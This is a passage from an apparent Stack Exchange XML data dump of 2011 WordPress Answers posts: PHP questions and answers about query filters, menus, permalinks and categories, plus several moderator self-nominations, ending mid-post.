  <row Id="12133" PostTypeId="1" CreationDate="2011-03-15T16:19:38.767" Score="1" ViewCount="240" Body="&lt;p&gt;I have a page which displays tour dates for an artist. I use a custom field (TheDate) to give each entry a numerical value so that they will show up in the proper order (regardless of when they were actually posted). The custom field uses these values: 20110315 (this would be used for a date on March 15, 2011. I want the page to only return dates for today and onward and not to return any dates which have passed. I think I have the basics down, but I'm clearly not doing something right. Here's what I have, but it doesn't return anything. If I take out the filter it works (but returns all dates, even past ones) so I must be doing something wrong with the filter. Any help, advice or direction would be greatly appreciated. Thanks very much.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$todaysdate = date('Ymd');&#xA;&#xA;function filter_where( $where = '' ) {&#xA;&#xA;$where .= &quot; AND ( ($wpdb-&amp;gt;postmeta.meta_key = 'TheDate' AND $wpdb-&amp;gt;postmeta.meta_value &amp;gt;= $todaysdate) ) &quot;;&#xA;&#xA;return $where;&#xA;}&#xA;&#xA;add_filter( 'posts_where', 'filter_where' );&#xA;&#xA;$args = array(&#xA;'cat' =&amp;gt; '4',&#xA;'posts_per_page' =&amp;gt; -1,&#xA;'orderby'  =&amp;gt; 'meta_value_num',&#xA;'meta_key' =&amp;gt; 'TheDate',&#xA;'order' =&amp;gt; 'ASC'&#xA;);&#xA;&#xA;$the_query = new WP_Query( $args );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3958" LastActivityDate="2011-03-16T13:46:16.177" Title="Using 'posts_where' on a query with a custom field" Tags="&lt;filters&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="12135" PostTypeId="2" ParentId="12126" CreationDate="2011-03-15T16:30:42.120" Score="1" ViewCount="" Body="&lt;p&gt;I have not used Internet Explorer for a long time but I am sure that setting the 'alt' will not show as a tool-tip text in non IE browsers. For these browsers you will have to set the 'title' attribute.&lt;/p&gt;&#xA;" OwnerUserId="3283" LastActivityDate="2011-03-15T16:30:42.120" CommentCount="1" />
  <row Id="12137" PostTypeId="1" AcceptedAnswerId="17299" CreationDate="2011-03-15T16:36:05.763" Score="0" ViewCount="107" Body="&lt;p&gt;when attaching videos (eg. .flv) to a post - is it possible to query its dimensions?&#xA;the problem is - i've got videos in 4:3 and 16:9 format and i need to get this information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="3030" LastActivityDate="2011-06-14T17:02:09.963" Title="getting video dimensions" Tags="&lt;posts&gt;&lt;videos&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="12138" PostTypeId="2" ParentId="12127" CreationDate="2011-03-15T16:39:56.557" Score="-1" ViewCount="" Body="&lt;p&gt;In my themes I make use of the custom menus. As a fall-back menu I use the following code in my functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function tweaker3_default_menu() {&#xA;    echo '&amp;lt;ul class=&amp;quot;sf-menu&amp;quot;&amp;gt;';&#xA;    if(is_home() &amp;amp;&amp;amp; !is_paged()) {&#xA;        echo '&amp;lt;li class=&amp;quot;current_page_item&amp;quot;&amp;gt;&amp;lt;a href=&amp;quot;'. home_url( '/' ) . '&amp;quot; title=&amp;quot;' . __( 'You are Home', 'tweaker3' ) . '&amp;quot; rel=&amp;quot;nofollow&amp;quot;&amp;gt;' . __( 'Home', 'tweaker3' ) . '&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;    } else {&#xA;        echo '&amp;lt;li&amp;gt;&amp;lt;a href=&amp;quot;'. home_url( '/' ) . '&amp;quot; title=&amp;quot;' . __( 'Click for Home', 'tweaker3' ) . '&amp;quot; rel=&amp;quot;nofollow&amp;quot;&amp;gt;' . __( 'Home', 'tweaker3' ) . '&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;    }&#xA;    wp_list_pages( 'title_li=' );&#xA;    echo '&amp;lt;/ul&amp;gt;';&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code solves my problem of setting the current item on the home link. I hope this helps you.&lt;/p&gt;&#xA;" OwnerUserId="3283" LastActivityDate="2011-03-15T16:39:56.557" />
  <row Id="12139" PostTypeId="1" CreationDate="2011-03-15T16:47:52.790" Score="0" ViewCount="79" Body="&lt;p&gt;hey guys,&#xA;is it somehow possible to do the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;wp_list_pages()&lt;/code&gt; lists each link inside a &lt;code&gt;&amp;lt;li&amp;gt; &amp;lt;a href=&quot;link&quot;...&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_list_pages('title_li=&amp;amp;depth=0&amp;amp;exclude='); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it possible to add a #hash to those links? Like &lt;code&gt;&amp;lt;a href=&quot;link#something&quot;&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thank you for your help&lt;/p&gt;&#xA;" OwnerUserId="3529" LastActivityDate="2011-03-16T00:56:17.913" Title="adding a #hash to each link in list_pages()?" Tags="&lt;list&gt;&lt;functions&gt;" AnswerCount="1" CommentCount="0" />
  <row Id="12140" PostTypeId="2" ParentId="12123" CreationDate="2011-03-15T17:07:21.700" Score="4" ViewCount="" Body="&lt;p&gt;Why hack apart what's already there? If you remove the built in taxonomies, you'll end up &lt;strong&gt;creating hiccups&lt;/strong&gt; in core code that expect them to be there!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're &lt;strong&gt;much&lt;/strong&gt; better off just editing your theme file(s), or filtering out categories on the front-end (ask if you need help on that).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, in your theme's &lt;code&gt;index.php&lt;/code&gt; and &lt;code&gt;single.php&lt;/code&gt;, you might have something like;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;filed under: &amp;lt;?php the_category( ', ' ); ?&amp;gt;.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just remove it and you're done!&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-03-15T17:07:21.700" CommentCount="1" />
  <row Id="12142" PostTypeId="2" ParentId="12132" CreationDate="2011-03-15T17:43:09.373" Score="1" ViewCount="" Body="&lt;p&gt;You can only gel list of registered sidebars, from variable &lt;strong&gt;$wp_registered_sidebars&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;global $wp_registered_sidebars;&#xA;echo '&amp;lt;pre&amp;gt;';&#xA;print_r($wp_registered_sidebars);&#xA;echo '&amp;lt;/pre&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3768" LastEditorUserId="3768" LastEditorDisplayName="" LastEditDate="2011-03-17T20:32:17.370" LastActivityDate="2011-03-17T20:32:17.370" />
  <row Id="12143" PostTypeId="1" CreationDate="2011-03-15T17:47:12.073" Score="0" ViewCount="142" Body="&lt;p&gt;Stupid question, I bet: I'm doing a website for an artist where I have a custom post type of &quot;Painting&quot;. How do I get the permalink of the one added most recently?&lt;/p&gt;&#xA;" OwnerUserId="3960" LastActivityDate="2011-08-13T22:23:34.660" Title="Custom Post Type: Get most recent permalink" Tags="&lt;permalinks&gt;&lt;custom-post-types&gt;" AnswerCount="1" />
  <row Id="12144" PostTypeId="2" ParentId="12133" CreationDate="2011-03-15T17:50:42.380" Score="2" ViewCount="" Body="&lt;p&gt;you don't need to use &lt;code&gt;posts_where&lt;/code&gt; for this kind of query , you can just use &quot;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query#Post_.26_Page_Parameters&quot; rel=&quot;nofollow&quot;&gt;meta_query&lt;/a&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$today = date(&quot;Ymd&quot;);   &#xA;$args = array(&#xA;    'meta_query' =&amp;gt; array(&#xA;        array(&#xA;            'key' =&amp;gt; 'TheDate',&#xA;            'value' =&amp;gt; $today,&#xA;            'compare' =&amp;gt; '&amp;gt;='&#xA;        )&#xA;    ),&#xA;    'cat' =&amp;gt; '4',&#xA;    'posts_per_page' =&amp;gt; -1,&#xA;    'orderby'  =&amp;gt; 'meta_value_num',&#xA;    'meta_key' =&amp;gt; 'TheDate',&#xA;    'order' =&amp;gt; 'ASC'&#xA;);&#xA;&#xA;$the_query = new WP_Query( $args );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-03-16T13:46:16.177" LastActivityDate="2011-03-16T13:46:16.177" CommentCount="3" />
  <row Id="12145" PostTypeId="2" ParentId="12143" CreationDate="2011-03-15T18:03:49.183" Score="0" ViewCount="" Body="&lt;p&gt;Here is a simple function that will return the Permalink of the last painting post:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function Get_most_recent_permalink(){&#xA;    global $post;&#xA;    $tmp_post = $post;&#xA;    $args = array(&#xA;        'numberposts'     =&amp;gt; 1,&#xA;        'offset'          =&amp;gt; 0,&#xA;        'orderby'         =&amp;gt; 'post_date',&#xA;        'order'           =&amp;gt; 'DESC',&#xA;        'post_type'       =&amp;gt; 'Painting',&#xA;        'post_status'     =&amp;gt; 'publish' );&#xA;    $myposts = get_posts( $args );&#xA;    setup_postdata($myposts[0]);&#xA;    $permalink = get_permalink($post-&amp;gt;ID);&#xA;    $post = $tmp_post;&#xA;    return $permalink;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so once you paste that function in your theme's functions.php file you can just call it whenever you want:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php echo Get_most_recent_permalink(); ?&amp;gt;&quot;&amp;gt;last painting&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-15T18:03:49.183" CommentCount="2" />
  <row Id="12146" PostTypeId="2" ParentId="2802" CreationDate="2011-03-15T18:07:17.523" Score="1" ViewCount="" Body="&lt;p&gt;@davidn @hakre&#xA;Hi, i have an ugly solution without an HTML-Parser or overriding display_element.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; class Selective_Walker extends Walker_Nav_Menu&#xA;    {&#xA;        function walk( $elements, $max_depth) {&#xA;&#xA;            $args = array_slice(func_get_args(), 2);&#xA;            $output = '';&#xA;&#xA;            if ($max_depth &amp;lt; -1) //invalid parameter&#xA;                return $output;&#xA;&#xA;            if (empty($elements)) //nothing to walk&#xA;                return $output;&#xA;&#xA;            $id_field = $this-&amp;gt;db_fields['id'];&#xA;            $parent_field = $this-&amp;gt;db_fields['parent'];&#xA;&#xA;            // flat display&#xA;            if ( -1 == $max_depth ) {&#xA;                $empty_array = array();&#xA;                foreach ( $elements as $e )&#xA;                    $this-&amp;gt;display_element( $e, $empty_array, 1, 0, $args, $output );&#xA;                return $output;&#xA;            }&#xA;&#xA;            /*&#xA;             * need to display in hierarchical order&#xA;             * separate elements into two buckets: top level and children elements&#xA;             * children_elements is two dimensional array, eg.&#xA;             * children_elements[10][] contains all sub-elements whose parent is 10.&#xA;             */&#xA;            $top_level_elements = array();&#xA;            $children_elements  = array();&#xA;            foreach ( $elements as $e) {&#xA;                if ( 0 == $e-&amp;gt;$parent_field )&#xA;                    $top_level_elements[] = $e;&#xA;                else&#xA;                    $children_elements[ $e-&amp;gt;$parent_field ][] = $e;&#xA;            }&#xA;&#xA;            /*&#xA;             * when none of the elements is top level&#xA;             * assume the first one must be root of the sub elements&#xA;             */&#xA;            if ( empty($top_level_elements) ) {&#xA;&#xA;                $first = array_slice( $elements, 0, 1 );&#xA;                $root = $first[0];&#xA;&#xA;                $top_level_elements = array();&#xA;                $children_elements  = array();&#xA;                foreach ( $elements as $e) {&#xA;                    if ( $root-&amp;gt;$parent_field == $e-&amp;gt;$parent_field )&#xA;                        $top_level_elements[] = $e;&#xA;                    else&#xA;                        $children_elements[ $e-&amp;gt;$parent_field ][] = $e;&#xA;                }&#xA;            }&#xA;&#xA;            $current_element_markers = array( 'current-menu-item', 'current-menu-parent', 'current-menu-ancestor' );  //added by continent7&#xA;            foreach ( $top_level_elements as $e ){  //changed by continent7&#xA;                // descend only on current tree&#xA;                $descend_test = array_intersect( $current_element_markers, $e-&amp;gt;classes );&#xA;                if ( !empty( $descend_test ) ) &#xA;                    $this-&amp;gt;display_element( $e, $children_elements, 2, 0, $args, $output );&#xA;            }&#xA;&#xA;            /*&#xA;             * if we are displaying all levels, and remaining children_elements is not empty,&#xA;             * then we got orphans, which should be displayed regardless&#xA;             */&#xA;             /* removed by continent7&#xA;            if ( ( $max_depth == 0 ) &amp;amp;&amp;amp; count( $children_elements ) &amp;gt; 0 ) {&#xA;                $empty_array = array();&#xA;                foreach ( $children_elements as $orphans )&#xA;                    foreach( $orphans as $op )&#xA;                        $this-&amp;gt;display_element( $op, $empty_array, 1, 0, $args, $output );&#xA;             }&#xA;            */&#xA;&#xA;/*added by alpguneysel  */&#xA;                $pos = strpos($output, '&amp;lt;a');&#xA;            $pos2 = strpos($output, 'a&amp;gt;');&#xA;            $topper= substr($output, 0, $pos).substr($output, $pos2+2);&#xA;            $pos3 = strpos($topper, '&amp;gt;');&#xA;            $lasst=substr($topper, $pos3+1);&#xA;            $submenu= substr($lasst, 0, -6);&#xA;&#xA;        return $submenu;&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3962" LastActivityDate="2011-03-15T18:07:17.523" CommentCount="1" />
  <row Id="12147" PostTypeId="1" CreationDate="2011-03-15T18:27:19.927" Score="0" ViewCount="239" Body="&lt;p&gt;How do I output the child category title for each specific post?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            &amp;lt;?php query_posts('category_name=group&amp;amp;posts_per_page=10'); ?&amp;gt;&#xA;            &amp;lt;?php if (have_posts()) : $counter = 0; ?&amp;gt;&#xA;                   &amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt;    &#xA;&#xA;                &amp;lt;div &amp;lt;?php if($wp_query-&amp;gt;current_post % 2 == 0) post_class('clearfix'); else post_class('clearfix last'); ?&amp;gt;&amp;gt;&#xA;                    &amp;lt;?php the_post_thumbnail('thumbnail'); ?&amp;gt;&#xA;&#xA;                    &amp;lt;span class=&quot;title&quot;&amp;gt;&amp;lt;em&amp;gt;CHILD CATEGORY TITLE HERE&amp;lt;/em&amp;gt;&amp;lt;/span&amp;gt;&#xA;&#xA;                    &amp;lt;h2 class=&quot;entry-title&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                    &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;&#xA;                   &amp;lt;?php $counter++; endwhile; ?&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3899" LastActivityDate="2011-08-15T08:24:36.413" Title="Output child category title only" Tags="&lt;categories&gt;&lt;template&gt;&lt;title&gt;" AnswerCount="2" />
  <row Id="12148" PostTypeId="1" CreationDate="2011-03-15T19:14:47.483" Score="1" ViewCount="69" Body="&lt;p&gt;Since wp 2.7, wordpress has introduced the paginated comments feature.&#xA;I've read that this may not be good for SEO as the main content gets &quot;duplicated&quot; on the pages of the comments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I've read that to prevent this, we can specify the canonical URL in meta tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now i've checked the source of my page and a canonical url is automatically added and reads like this on the pages of the comment:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel='canonical' href='http://localhost/wp16/?p=3657' /&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So am I cool? I shouldn't worry about dup content? This is actually from the twentyten theme and I am not sure if this feature (the showing up of the canonical meta) was recently added or was always there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="3305" LastActivityDate="2011-03-15T21:59:14.470" Title="Should I still worry about paginated comments with the latest wordpress versions?" Tags="&lt;comments&gt;" AnswerCount="1" />
  <row Id="12149" PostTypeId="6" CreationDate="2011-03-15T19:16:26.413" Score="0" ViewCount="" Body="&lt;p&gt;Like Eric Mann I have also served as a Moderator Pro Tempore. Early on I did a lot of &quot;marketing&quot; for this site, recommending if far and wide on Twitter, in comments on WordPress-related blogs and more. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My focus has been on working to make the site a great resource, often editing questions to improve the clarity of the question asked &lt;em&gt;(but never to change their meaning)&lt;/em&gt; and hopefully to help keep site as cordial a place as possible rather than the flame wars that so often erupt on mailing lists and in forums based on other software. I very much want to see WordPress Answers be a great place for serious WordPress Pros to ask and answer questions without having to worry about being treated with disrespect by any perceived &lt;em&gt;&quot;in crowd.&quot;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for my use of WordPress, I develop vertical market CMSes based on WordPress for software company clients, and plugins for software-as-a-service (SaaS) company clients. I use WordPress &lt;em&gt;(almost?)&lt;/em&gt; exclusively for any web work I do for myself or for others, and I have plans to distribute a large number of free-to-acquire GPL plugins in the near future. I also contribute patches on WordPress trac when I see a need. I've been very active for probably 80% of the days since WordPress Answers was launched and plan to continue the same level of participation for the foreseeable future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In summary I'd like to continue being a moderator as I believe by interests and the interests of the community as in very close alignment.&lt;/p&gt;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-03-15T19:48:14.787" LastActivityDate="2011-03-15T19:48:14.787" CommunityOwnedDate="2011-03-15T19:16:26.413" CommentCount="6" />
  <row Id="12150" PostTypeId="2" ParentId="12147" CreationDate="2011-03-15T19:20:51.800" Score="0" ViewCount="" Body="&lt;p&gt;Assuming that each post has only one child category then:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$parent_category_id = 12;&#xA; &amp;lt;?php query_posts('category_name=group&amp;amp;posts_per_page=10'); ?&amp;gt;&#xA; &amp;lt;?php if (have_posts()) : $counter = 0; ?&amp;gt;&#xA;    &amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt;    &#xA;        &amp;lt;div &amp;lt;?php if($wp_query-&amp;gt;current_post % 2 == 0) post_class('clearfix'); else post_class('clearfix last'); ?&amp;gt;&amp;gt;&#xA;            &amp;lt;?php the_post_thumbnail('thumbnail'); ?&amp;gt;&#xA;            &amp;lt;?php&#xA;            $post_categories = wp_get_post_categories( $post_id );&#xA;            $cats = '';&#xA;&#xA;            foreach($post_categories as $c){&#xA;                $cat = get_category($c);&#xA;                if ($cat-&amp;gt;category_parent = $parent_category_id){&#xA;                    $cats = $cat-&amp;gt;name;&#xA;                }&#xA;            }?&amp;gt;&#xA;            &amp;lt;span class=&quot;title&quot;&amp;gt;&amp;lt;em&amp;gt;&amp;lt;?php echo $cats; ?&amp;gt;&amp;lt;/em&amp;gt;&amp;lt;/span&amp;gt;&#xA;            &amp;lt;h2 class=&quot;entry-title&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;            &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php $counter++; endwhile; ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and just update &quot;$parent_category_id = 12;&quot; with the real ID of group category.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-15T19:20:51.800" CommentCount="3" />
  <row Id="12151" PostTypeId="2" ParentId="12147" CreationDate="2011-03-15T19:27:48.567" Score="0" ViewCount="" Body="&lt;p&gt;This is the simplest answer I could find so far:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$category = get_the_category(); echo $category[0]-&gt; cat_name; &lt;/p&gt;&#xA;" OwnerUserId="3899" LastActivityDate="2011-03-15T19:27:48.567" CommentCount="3" />
  <row Id="12152" PostTypeId="1" CreationDate="2011-03-15T19:30:18.127" Score="1" ViewCount="205" Body="&lt;p&gt;I want to show only today's or current date post in my blog.&#xA;here is my code which i try but not working. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php   &#xA;$day = date('j');   &#xA;query_posts('day='.$day);   &#xA;if (have_posts()) :&#xA;while (have_posts()) : the_post();  &#xA;?&amp;gt;&#xA;&amp;lt;h3&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot; title=&quot;view: &amp;lt;?php the_title(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;&amp;lt;div class=&quot;storycontent&quot;&amp;gt;&amp;lt;?php the_content(); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can you help me pls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Oronno&lt;/p&gt;&#xA;" OwnerUserId="3964" LastEditorUserId="11" LastEditorDisplayName="" LastEditDate="2011-03-17T15:46:14.027" LastActivityDate="2011-03-17T15:46:14.027" Title="how to show only today's post" Tags="&lt;query-posts&gt;" AnswerCount="3" CommentCount="2" />
  <row Id="12153" PostTypeId="1" CreationDate="2011-03-15T19:42:46.353" Score="0" ViewCount="184" Body="&lt;p&gt;I'd like to use a Wordpress instance as a product help &amp;amp; faq platform.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering if there is a lightweight plugin that provides a &quot;yes/no&quot; voting option at the end of a post, to which I'd use the question &quot;Was this post helpful to you?&quot; I can then go into the admin panel to see the total number of yes's and no's per post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does one like that exist?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found a multitude of &quot;Digg-like&quot; up/down plugins, but they are far too complex for what I'm looking for. I've looked at &lt;a href=&quot;http://wordpress.org/extend/plugins/vote-it-up/&quot; rel=&quot;nofollow&quot;&gt;Vote-It-Up&lt;/a&gt; and &lt;a href=&quot;http://wordpress.org/extend/plugins/vote-it-up/&quot; rel=&quot;nofollow&quot;&gt;WP-Polls&lt;/a&gt;, which both seem like they can be hacked to accomplish what I want, but I wanted to first check to see if there was a ligher weight solution out there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for the suggestions.&lt;/p&gt;&#xA;" OwnerUserId="3965" LastActivityDate="2011-04-20T15:53:08.827" Title="Plugin for &quot;Was This Helpful&quot; at end of post?" Tags="&lt;plugins&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="12154" PostTypeId="6" CreationDate="2011-03-15T19:46:18.477" Score="0" ViewCount="" Body="&lt;p&gt;I doubt I need to break the ice. :) I am Rarst (here, there and elsewhere). If there was a badge for being hyperactive on site I'd probably have a handful by now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;WordPress experience&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had started &lt;a href=&quot;http://www.rarst.net/&quot; rel=&quot;nofollow&quot;&gt;Rarst.net&lt;/a&gt; blog in 2008. Most of you can probably guess the rest of the story. One thing led to another. Tinkered with small thigns, moved to child themes  and since recently I work full time with WordPress in small company that has big things planned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not releasing much of code publicly, but I do want to take those steps as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;WPSE experience&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;six months, 700+ answers (top tags &lt;a href=&quot;/questions/tagged/plugins&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged 'plugins'&quot; rel=&quot;tag&quot;&gt;plugins&lt;/a&gt;,&lt;a href=&quot;/questions/tagged/plugin-development&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged 'plugin-development'&quot; rel=&quot;tag&quot;&gt;plugin-development&lt;/a&gt; and &lt;a href=&quot;/questions/tagged/theme-development&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged 'theme-development'&quot; rel=&quot;tag&quot;&gt;theme-development&lt;/a&gt;), &lt;a href=&quot;http://wordpress.stackexchange.com/badges/23/fanatic&quot;&gt;never missed a day&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;I don't mind &lt;a href=&quot;http://wordpress.stackexchange.com/badges/63/convention&quot;&gt;discussing&lt;/a&gt; and &lt;a href=&quot;http://wordpress.stackexchange.com/badges/12/strunk-white&quot;&gt;helping&lt;/a&gt; with stuff (and &lt;a href=&quot;http://wordpress.stackexchange.com/badges/18/civic-duty&quot;&gt;voting&lt;/a&gt; of course)&lt;/li&gt;&#xA;&lt;li&gt;started community wikis on &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3725/wordpress-frameworks-and-parent-themes&quot;&gt;frameworks&lt;/a&gt;, &lt;a href=&quot;http://wordpress.stackexchange.com/questions/8050/definitive-list-of-wordpress-books&quot;&gt;books&lt;/a&gt; and contribute to others&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Why running for mod&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Aspiring for official moderator position for me is simply about extension of awesome tools I am already given by platform to contribute more, more easily and more often.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe that this site is enormously important to WordPress ecosystem and I am committed to being here and learning from my peers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://meta.wordpress.stackexchange.com/questions/494/qa-with-the-community-moderator-candidates/497#497&quot;&gt;My answers to canidates Q&amp;amp;A&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-03-16T12:07:52.493" LastActivityDate="2011-03-16T12:07:52.493" CommunityOwnedDate="2011-03-15T19:46:18.477" CommentCount="10" />
  <row Id="12156" PostTypeId="2" ParentId="12078" CreationDate="2011-03-15T20:01:35.370" Score="0" ViewCount="" Body="&lt;p&gt;I think I see the problem, Mamakuka.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should be calling get_option(), not your defaults function, here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    /**&#xA; * Setup initial theme options&#xA; */&#xA;function ev_options_init() {&#xA;    // Set options equal to defaults&#xA;    global $ev_options;&#xA;    $ev_options = ev_theme_settings_defaults();&#xA;    if ( false === $ev_options ) {&#xA;        $ev_options = ev_theme_settings_defaults();&#xA;    }&#xA;    update_option( 'theme_evolutionary_options', $ev_options );&#xA;}&#xA;&#xA;add_action( 'after_setup_theme', 'ev_options_init', 9 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $ev_options;&#xA;$ev_options = ev_theme_settings_defaults();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Should instead be this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $ev_options;&#xA;$ev_options = get_option( 'theme_evolutionary_options' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Otherwise, you're doing as TheDeadMedic indicated: saving the default options on every init.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-03-15T20:01:35.370" CommentCount="5" />
  <row Id="12157" PostTypeId="6" CreationDate="2011-03-15T20:09:18.233" Score="0" ViewCount="" Body="&lt;p&gt;For my self nomination (&lt;em&gt;I wish this wasn't the only way for someone to be nominated&lt;/em&gt;) I'm just going to copy verbatim my response to &lt;a href=&quot;http://wordpress.stackexchange.com/users/7/robert-cartaino&quot;&gt;Robert Cartaino&lt;/a&gt; when he emailed me to ask if I'd like to be considered for a temporary moderator position. Please know I'm not just copying this out of laziness - it just captures how I feel about online communities as well as WordPress.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I have a great deal of interest in&#xA;  growing/moderating/helping online&#xA;  communities mature in general. I'm&#xA;  involved with a locally-focused&#xA;  discussion forum where I live, and&#xA;  have started taking a more active role&#xA;  in the management of the site, and&#xA;  consequently have developed even more&#xA;  of an interest in what makes an 